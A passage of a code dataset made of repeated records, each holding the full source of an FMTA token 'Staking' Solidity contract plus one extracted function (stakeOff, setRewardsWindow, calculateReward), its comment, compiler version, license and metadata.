* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
stakeOff
|
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
|
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
12092,
12232
]
}
| 55,514 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setRewardsWindow
|
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
|
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
12573,
12742
]
}
| 55,515 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
calculateReward
|
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
|
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
12975,
13111
]
}
| 55,516 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
